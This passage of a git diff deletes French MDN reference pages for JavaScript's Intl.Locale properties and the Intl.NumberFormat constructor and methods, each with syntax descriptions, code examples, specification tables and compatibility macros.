{{Compat("javascript.builtins.Intl.Locale.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html deleted file mode 100644 index c9af9b9ac3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/region/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Intl.Locale.prototype.region -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/region -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/region ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.region est fournie par un accesseur qui renvoie la région du monde (il s'agit généralement d'un pays) associée à la locale courante.

- -

Description

- -

La région est un fragment majeur de l'identifiant de la locale car il situe la locale dans une zone donnée du monde. Connaître la région associée à la locale est crucial pour identifier les différences entre les locales. Ainsi, on parle anglais aux États-Unis et au Royaume-Uni mais il existe certaines différences d'orthographe entre ces pays. Connaître la région d'une locale peut permettre aux développeurs d'adapter leurs sites et applications selon la région depuis laquelle ils sont consultés.

- -

Exemples

- -

Définir la région avec la chaîne de caractères décrivant la locale

- -

La région est la troisième composante d'une chaîne représentant un identifiant de langue Unicode. Cette chaîne de caractères est généralement passée au constructeur {{jsxref("Locale", "Locale")}}.

- -
let regionStr = new Intl.Locale("en-Latn-US");
-
-console.log(regionStr.region);
-// Affichera "US" dans la console
- -

Définir la région via l'objet de configuration du constructeur

- -

Le constructeur {{jsxref("Locale", "Locale")}} prend comme second argument un objet de paramétrage dont chacune des propriétés permet de définir une extension ou une composante de la locale.

- -
let regionObj = new Intl.Locale("fr-Latn", {region: "FR"});
-
-console.log(regionObj.region);
-// Affichera "FR" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.regionProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.region")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html deleted file mode 100644 index 3fed9f8169..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/script/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Intl.Locale.prototype.script -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/script -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/script ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.script est fournie via un accesseur et renvoie le script utilisé pour l'écriture d'une langue donnée pour la locale courante.

- -

Description

- -

Un script, ou système d'écriture, est l'une des caractéristiques fondamentales d'une locale. Il décrit l'ensemble des symboles (ou glyphes) qui sont utilisés pour écrire dans une langue donnée. Ainsi, le script associé à l'anglais est l'alphabet latin, le script associé au coréen est le Hangul. Dans la plupart des cas, indiquer le script n'est pas strictement nécessaire car une langue ne s'écrit que dans un script donné. Il existe toutefois des exceptions et il est préférable d'indique le script afin d'avoir un identifiant de langue Unicode complet.

- -

Exemples

- -

Définir le script via la chaîne de description de la locale

- -

Le script correspond à la deuxième partie d'un identifiant de langue Unicode valide. On peut donc le définir en passant un tel identifiant au constructeur {{jsxref("Locale", "Locale")}}. Toutefois, cette composante n'est pas obligatoire pour créer une instance de Locale.

- -
let scriptStr = new Intl.Locale("en-Latn-US");
-
-console.log(scriptStr.script); // Affichera "Latn" dans la console
- -

Définir le script grâce à l'objet de configuration du constructeur

- -

Le constructeur {{jsxref("Locale", "Locale")}} permet d'utiliser un objet de configuration dont les propriétés définiront les caractéristiques de la locale :

- -
let scriptObj = new Intl.Locale("fr-FR", {script: "Latn"});
-
-console.log(scriptObj.script); // Affichera "Latn" dans la console
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.scriptProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.script")}}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html deleted file mode 100644 index 723f7cd4b3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/tostring/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Intl.Locale.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/toString -tags: - - Intl - - JavaScript - - Locale - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/toString ---- -
{{JSRef}}
- -

La méthode Intl.Locale.prototype.toString() renvoie l'identifiant de locale complet pour la locale courante.

- -

{{EmbedInteractiveExample("pages/js/intl-locale-prototype-tostring.html")}}

- - - -

Syntaxe

- -
locale.toString()
- -

Valeur de retour

- -

La chaîne de caractères représentant l'identifiant complet de la locale.

- -

Description

- -

Une instance de Locale est une représentation JavaScript d'une locale au sens Unicode. Les informations décrivant une locale donnée (la langue, le système d'écriture, le type de calendrier, etc.) peuvent être encodées en une chaîne de caractères qui est l'identifiant de la locale. Lorsqu'on appelle la méthode toString() sur une instance de Locale, on obtiendra l'identifiant complet de la locale.

- -

Exemples

- -
let maLocale = new Intl.Locale("fr-Latn-FR", {hourCycle: "h24", calendar: "gregory"});
-console.log(maLocale.baseName); // Affiche "fr-Latn-FR"
-console.log(maLocale.toString()); // Affiche "fr-Latn-FR-u-ca-gregory-hc-h24"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.toString()Proposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.Locale.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
  • {{jsxref("Locale/baseName", "Intl.Locale.baseName")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html deleted file mode 100644 index 201022bd58..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/format/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Intl.NumberFormat.prototype.format -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/format -tags: - - Internationalisation - - Intl - - JavaScript - - NumberFormat - - Propriété - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format ---- -
{{JSRef}}
- -

La méthode Intl.NumberFormat.prototype.format() formate un nombre en fonction des options de locales et de formats définis dans l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}} correspondant.

- -
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-format.html")}}
- - - -

Syntaxe

- -
numberFormat.format(nombre)
- -

Paramètres

- -
-
nombre
-
Le nombre qu'on souhaite formater.
-
- -

Description

- -

La fonction d'accesseur format permet de formater un nombre donné en une chaîne de caractères selon les options de locale et de format de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

- -

Exemples

- -

Utiliser format()

- -

On peut utiliser la fonction renvoyée par format pour formater une valeur monétaire selon la locale russe :

- -
var options = {style: "currency", currency: "RUB"};
-var numberFormat = new Intl.NumberFormat("ru-RU", options);
-console.log(numberFormat.format(654321.987));
-// → "654 321,99 руб."
- -

Utiliser format() avec map()

- -

On peut également utiliser la fonction format pour formater les nombres contenus dans un tableau. On notera que la fonction est liée à l'objet NumberFormat dont elle provient, on peut donc directement l'utiliser avec {{jsxref("Array.prototype.map")}}.

- -
var a = [123456.789, 987654.321, 456789.123];
-var numberFormat = new Intl.NumberFormat("es-ES");
-var formatted = a.map(numberFormat.format);
-console.log(formatted.join("; "));
-// → "123.456,789; 987.654,321; 456.789,123"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int 1.0')}}Définition initiale
{{SpecName('ES Int 2.0', '#sec-11.3.2', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.format', 'Intl.NumberFormat.prototype.format')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat.format")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • -
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html deleted file mode 100644 index 12a78a6a1d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/formattoparts/index.html +++ /dev/null @@ -1,152 +0,0 @@ ---- -title: Intl.NumberFormat.prototype.formatToParts() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/formatToParts -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - NumberFormat - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/formatToParts ---- -
{{JSRef}}
- -

La méthode Intl.Numberformat.prototype.formatToParts() permet de produire des fragments de chaînes à partir d'un nombre pour le mettre en forme avec des formateurs NumberTimeFormat.

- -

Syntaxe

- -
Intl.NumberFormat.prototype.formatToParts(nombre)
- -

Paramètres

- -
-
nombre {{optional_inline}}
-
Le nombre qu'on souhaite mettre en forme.
-
- -

Valeur de retour

- -

Un tableau {{jsxref("Array")}} contenant des objets correspondants aux différents fragments du nombres.

- -

Description

- -

La méthode formatToParts() est peut être utilisée lorsqu'on met en forme des chaînes de caractères représentant des valeurs numériques. Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui sont les différents fragments spécifiques aux locales et qui permettent de construire des chaînes dans un format spécifiques tout en conservant les parties liées à la locale. formatToParts() renvoie une structure analogue à :

- -
[
-  { type: "integer", value: "3" }
-  { type: "group", value: "." }
-  { type: "integer", value: "500" }
-]
- -

Les valeurs possibles pour l'attribut type sont :

- -
-
currency
-
Le suffixe associé à la devise. Ce peut être le symbole "$", "€" ou bien le nom de la devise "Dollar", "Euro" selon la façon dont currencyDisplay  est indiquée.
-
decimal
-
Le séparateur décimal utilisé (".").
-
fraction
-
La partie fractionnaire du nombre.
-
group
-
La chaîne de caractères utilisée pour indiquer un groupe (",").
-
infinity
-
La chaîne de caractères qui représente la valeur {{jsxref("Infinity")}} ("∞").
-
integer
-
La partie entière du nombre.
-
literal
-
Toute chaîne de caractères littérale ou blanc utilisée dans le nombre mis en forme.
-
minusSign
-
La chaîne de caractères utilisée pour le signe moins ("-").
-
nan
-
La chaîne de caractères utilisée pour représenter la valeur {{jsxref("NaN")}} ("NaN").
-
plusSign
-
La chaîne de caractères utilisée pour le signe plus ("+").
-
- -
-
percentSign
-
La châine de caractères utilisée pour le symbole pourcent ("%").
-
- -

Exemples

- -

NumberFormat produit une chaîne localisée opaque qui ne peut pas être manipulée directement :

- -
var number = 3500;
-
-var formatter = new Intl.NumberFormat('de-DE', {
-  style: 'currency',
-  currency: 'EUR'
-});
-
-formatter.format(number);
-// "3.500,00 €"
-
- -

Toutefois, pour certaines applications, on souhaite adapter la mise en forme de cette chaîne de caractères. La méthode formatToParts permet d'obtenir cette flexibilité tout en conservant les différents fragments produits par NumberFormat :

- -
formatter.formatToParts(number);
-
-// return value:
-[
-  { type: "integer",  value: "3"   }
-  { type: "group",    value: "."   }
-  { type: "integer",  value: "500" }
-  { type: "decimal",  value: ","   }
-  { type: "fraction", value: "00"  }
-  { type: "literal",  value: " "   }
-  { type: "currency", value: "€"   }
-]
-
- -

Maintenant que la chaîne est décomposée, on peut la réassembler d'une façon spécifique. On peut, par exemple utiliser {{jsxref("Array.prototype.map()")}}, une fonction fléchée, une instruction switch, des littéraux de gabarits et {{jsxref("Array.prototype.reduce()")}}.

- -
var numberString = formatter.formatToParts(number).map(({type, value}) => {
-  switch (type) {
-    case 'currency': return `<strong>${value}</strong>`;
-    default : return value;
-  }
-}).reduce((string, part) => string + part);
-
- -

Grâce à cette fonction, on pourra mettre en gras le suffixe associé à la devise :

- -
console.log(numberString);
-// "3.500,00 <strong>€</strong>"
- -

Prothèse d'émulation (polyfill)

- -

Une prothèse pour cette fonctionnalité est disponible dans le dépôt associé à la proposition.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.formatToParts', 'Intl.NumberFormat.prototype.formatToParts')}}{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat.formatToParts")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • -
  • {{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}
    • -
  • Formater des dates : {{jsxref("DateTimeFormat.formatToParts", "Intl.DateTimeFormat.prototype.formatToParts()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html deleted file mode 100644 index 2408df724b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/index.html +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Intl.NumberFormat -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat -tags: - - Internationalisation - - Intl - - JavaScript - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat ---- -
{{JSRef}}
- -

L'objet Intl.NumberFormat est un constructeur permettant de créer des objets pour formater des nombres en fonction de la locale.

- -
{{EmbedInteractiveExample("pages/js/intl-numberformat.html")}}
- - - -

Syntaxe

- -
new Intl.NumberFormat([locales[, options]])
-Intl.NumberFormat.call(this[, locales[, options]])
- -

Paramètres

- -
-
locales
-
-

Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}. Les clefs d'extensions Unicode suivantes sont autorisées :

- -
-
nu
-
Le système numérique à utiliser. Parmi les valeurs possibles, on a : "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", "khmr", "knda", "laoo", "latn", "limb", "mlym", "mong", "mymr", "orya", "tamldec", "telu", "thai", "tibt".
-
-
-
options
-
-

Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.
-
-
-
-
-
style
-
Le style de formatage. Les valeurs possibles sont "decimal" pour l'affichage de nombres simple, "currency" pour un affichage en fonction de la devise et "percent" pour afficher des pourcentages. La valeur par défaut est "decimal".
-
currency
-
La devise à utiliser pour le formatage. Les valeurs possibles sont les codes ISO 4217 pour les devises, tels que "USD" pour le dollar américain, "EUR" pour l'euro, ou "CNY" pour le yuan chinois. Voir la page listant les codes actuels pour les devises et les fonds (en anglais). Il n'y a pas de valeur par défaut. Si le style choisi avec l'option style est "currency", la propriété currency doit être définie.
-
currencyDisplay
-
La façon d'afficher la devise dans le format courant. Les valeurs possibles sont "symbol" qui permet d'utiliser un symbole localisé comme '€', "code" qui affichera le code ISO de la devise (voir ci-avant), "name"  affichera un nom localisé pour la devise comme "dollar". La valeur par défaut est "symbol".
-
useGrouping
-
Cette option indique si on doit utiliser des séparateurs de groupes (comme les séparateurs de milliers ou autres comme lakhs et crores). Les valeurs possibles sont true et false. La valeur par défaut true.
-
- -

Les propriétés suivantes peuvent être classées en deux groupes. Dans le premier on aura minimumIntegerDigits, minimumFractionDigits, maximumFractionDigits et dans le second on aura minimumSignificantDigits et maximumSignificantDigits. S'il existe une option définie pour le second groupe, les options du premier groupe seront ignorées.

- -
-
minimumIntegerDigits
-
Le nombre minimal de chiffres à utiliser pour la partie entière. Les valeurs possibles sont comprises entre 1 to 21. La valeur par défaut est 1.
-
minimumFractionDigits
-
Le nombre minimal de chiffres à utiliser pour la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour les formats "decimal" et "percent", la valeur par défaut est 0. La valeur par défaut pour le formatage monétaire ("currency") correspond au nombre de chiffres défini par la liste de codes de devises ISO 4217, si cette valeur n'est pas définie dans cette liste, on aura 2 chiffres.
-
maximumFractionDigits
-
Le nombre maximal de chiffres à utiliser pour représenter la partie fractionnaire. Les valeurs possibles sont comprises entre 0 et 20. Pour le format "decimal", la valeur par défaut est le maximum entre 3 et minimumFractionDigits. Pour le format monétaire ("currency"), la valeur par défaut est le maximum entre  minimumFractionDigits et le nombre de chiffres prévus par la liste ISO 4217 des codes de devises (ou 2 si cette information n'est pas disponible dans cette liste). Pour le format en pourcent, la valeur par défaut est le maximum entre minimumFractionDigits et 0.
-
minimumSignificantDigits
-
Le nombre minimal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est 1.
-
maximumSignificantDigits
-
Le nombre maximal de chiffres significatifs à utiliser. Les valeurs possibles sont comprises entre 1 et 21. La valeur par défaut est minimumSignificantDigits.
-
-
-
- -

Description

- -

Propriétés

- -
-
{{jsxref("NumberFormat.prototype", "Intl.NumberFormat.prototype")}}
-
Permet d'ajouter des propriétés à toutes les instances.
-
- -

Méthodes

- -
-
{{jsxref("NumberFormat.supportedLocalesOf", "Intl.NumberFormat.supportedLocalesOf()")}}
-
Renvoie un tableau des locales supportées parmi les locales données afin d'éviter d'utiliser la locale par défaut de l'environnement.
-
- -

Instances de NumberFormat

- -

Propriétés

- -

Les instances de NumberFormat héritent des propriétés suivantes grâce à leur prototype :

- -
{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Properties')}}
- -

Méthods

- -
-

Les instances de NumberFormat héritent des méthodes suivantes grâce à leur prototype :

-{{page('fr/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/prototype','Methods')}}
- -

Exemples

- -

Usage simple

- -

Sans aucune spécification, le résultat sera une chaîne de caractères avec la locale et les options par défaut :

- -
var nombre = 3500;
-
-console.log(new Intl.NumberFormat().format(nombre));
-// → "3 500" pour la locale fr
-
- -

Utiliser locales

- -

Cet exemple illustre les variations possibles des formats numériques localisés. Si vous souhaitez que votre application utilise le format de la locale de l'utilisateur, assurez vous de l'indiquer via l'argument locales (voire avec d'autres locales de secours) :

- -
var nombre = 123456.789;
-
-// L'allemand utilise la virgule comme séparateur décimal
-// et un point pour indiquer les milliers
-console.log(new Intl.NumberFormat("de-DE").format(nombre));
-// → 123.456,789
-
-// Dans la plupart des pays arabophones, on utilise les
-// chiffres arabo-hindîs
-console.log(new Intl.NumberFormat("ar-EG").format(nombre));
-// → ١٢٣٤٥٦٫٧٨٩
-
-// L'indien utilise des séparateurs pour les milliers,
-//les lakhs et les crores
-console.log(new Intl.NumberFormat("en-IN").format(nombre));
-// → 1,23,456.789
-
-// La clé d'extension nu indique une l'utilisation d'un système numérique
-// par exemple le système chinois
-console.log(new Intl.NumberFormat("zh-Hans-CN-u-nu-hanidec").format(nombre));
-// → 一二三,四五六.七八九
-
-// Lorsqu'une locale n'est pas supportée (par exemple le balinais)
-// on peut inclure une locale de secours (ici l'indonésien)
-console.log(new Intl.NumberFormat(["ban", "id"]).format(nombre));
-// → 123.456,789
-
- -

Utiliser options

- -

Les résultats fournis par toLocaleString peuvent être paramétrés grâce à l'argument options :

- -
var nombre = 123456.789;
-
-// on affiche une devise avec le style "currency"
-console.log(new Intl.NumberFormat("de-DE", {style: "currency", currency: "EUR"}).format(nombre));
-// → 123.456,79 €
-
-// Le yen japonais n'a pas de centimes
-console.log(new Intl.NumberFormat("ja-JP", {style: "currency", currency: "JPY"}).format(nombre))
-// → ￥123,457
-
-// On se limite ici à trois chiffres significatifs
-console.log(new Intl.NumberFormat("en-IN", {maximumSignificantDigits: 3}).format(nombre));
-// → 1,23,000
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.1', 'Intl.NumberFormat')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.1', 'Intl.NumberFormat')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#numberformat-objects', 'Intl.NumberFormat')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat")}}

- -

Voir aussi

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl','Voir_aussi')}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html deleted file mode 100644 index 7627a01670..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/prototype/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Intl.NumberFormat.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/prototype -tags: - - Internationalisation - - Intl - - JavaScript - - NumberFormat - - Propriété - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/prototype ---- -
{{JSRef}}
- -

La propriété Intl.NumberFormat.prototype représente l'objet prototype pour le constructeur {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Voir la page {{jsxref("NumberFormat", "Intl.NumberFormat")}} pour une description des instances de Intl.NumberFormat.

- -

Les instances de Intl.NumberFormat héritent de Intl.NumberFormat.prototype. Les modifications apportées à l'objet prototype seront propagées par héritage aux instances  Intl.NumberFormat.

- -

Propriétés

- -
-
Intl.NumberFormat.prototype.constructor
-
Une référence à Intl.NumberFormat.
-
- -

Méthodes

- -
-
{{jsxref("NumberFormat.format", "Intl.NumberFormat.prototype.format")}}
-
Un accesseur qui renvoie une fonction permettant de formater un nombre en fonction des options de locale et de format définies dans un objet NumberFormat.
-
{{jsxref("NumberFormat.formatToParts", "Intl.NumberFormat.prototype.formatToParts()")}}
-
Cette méthode renvoie un tableau ({{jsxref("Array")}}) d'objets qui représentent les fragments de la chaîne de caractères correspondant au nombre afin de l'utiliser pour des mises en formes prenant en compte la locale de l'utilisateur.
-
{{jsxref("NumberFormat.resolvedOptions", "Intl.NumberFormat.prototype.resolvedOptions()")}}
-
Cette méthode renvoie un nouvel objet dont les propriétés correspondent aux options de locale et de collation calculées lors de l'initialisation de l'objet.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.2.1', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype', 'Intl.NumberFormat.prototype')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html deleted file mode 100644 index 195f044176..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/resolvedoptions/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Intl.NumberFormat.prototype.resolvedOptions() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/resolvedOptions -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - NumberFormat - - Prototype - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/resolvedOptions ---- -
{{JSRef}}
- -

La méthode Intl.NumberFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés correspondent aux options de locales et de format calculées à l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

- -
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-resolvedoptions.html")}}
- - - -

Syntaxe

- -
numberFormat.resolvedOptions()
- -

Valeur de retour

- -

Un objet dont les propriétés correspondent aux options de locale et de format calculées lors de l'initialisation de l'objet {{jsxref("NumberFormat", "Intl.NumberFormat")}}.

- -

Description

- -

Cette méthode renvoie un objet composé des propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 qui est utilisée. Si des extensions Unicode avaient été rajoutées à la balise BCP 47 demandée, les paires de clés-valeurs qui ont été demandées et qui sont supportées sont inscrites dans locale.
-
numberingSystem
-
La valeur requise via l'extension Unicode "nu" ou celle qui est utilisée par défaut.
-
style
-
useGrouping
-
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut.
-
currency
-
currencyDisplay
-
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces valeurs sont présentes uniquement si style vaut "currency".
-
- -

Un seul des deux groupes suivants est inclus dans les propriétés :

- -
-
minimumIntegerDigits
-
minimumFractionDigits
-
maximumFractionDigits
-
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces propriétés ne sont présentes que si minimumSignificantDigits ou maximumSignificantDigits n'ont pas été fournies à l'argument options.
-
minimumSignificantDigits
-
maximumSignificantDigits
-
Les valeurs fournies pour ces propriétés via l'argument options ou bien les valeurs par défaut. Ces propriétés sont présentes si au moins une d'entre elles a été fournie via l'argument options.
-
- -

Exemples

- -

Utiliser la méthode resolvedOptions()

- -
var de = new Intl.NumberFormat('de-DE');
-var usedOptions = de.resolvedOptions();
-
-usedOptions.locale;                // "de-DE"
-usedOptions.numberingSystem;       // "latn"
-usedOption.style;                  // "decimal"
-usedOptions.minimumIntegerDigits;  // 1
-usedOptions.minimumFractionDigits; // 0
-usedOptions.maximumFractionDigits; // 3
-usedOptions.useGrouping;           // true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-11.3.3', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.prototype.resolvedOptions', 'Intl.NumberFormat.prototype.resolvedOptions')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat.resolvedOptions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html deleted file mode 100644 index f270e88a64..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/numberformat/supportedlocalesof/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Intl.NumberFormat.supportedLocalesOf() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/NumberFormat/supportedLocalesOf -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - NumberFormat - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/supportedLocalesOf ---- -
{{JSRef}}
- -

La méthode Intl.NumberFormat.supportedLocalesOf() renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement.

- -
{{EmbedInteractiveExample("pages/js/intl-numberformat-prototype-supportedlocalesof.html")}}
- - - -

Syntaxe

- -
Intl.NumberFormat.supportedLocalesOf(locales[, options])
- -

Paramètres

- -
-
locales
-
Une chaîne de caractères qui est une balise BCP 47 ou un tableau composé de telles chaînes. Pour plus d'informations sur la forme générale de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.
-
options
-
-

Un objet qui peut avoir la propriété suivante :

- -
-
localeMatcher
-
L'algorithme de correspondance des locales à utiliser. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations,, voir la page {{jsxref("Intl","Intl","#Choix_de_la_locale")}}.
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères représentant un sous-ensemble des balises de langues qui sont prises en charge pour la mise en forme des nombres sans qu'il soit nécessaire d'utiliser la locale par défaut de l'environnement d'exécution.

- -

Description

- -

Cette méthode renvoie un tableau de locales supportées parmi les locales fournies en argument afin d'éviter d'utiliser celle par défaut de l'environnement. Les locales renvoyées sont celles considérées comme équivalentes aux locales fournies avec l'algorithme indiqué.

- -

Exemples

- -

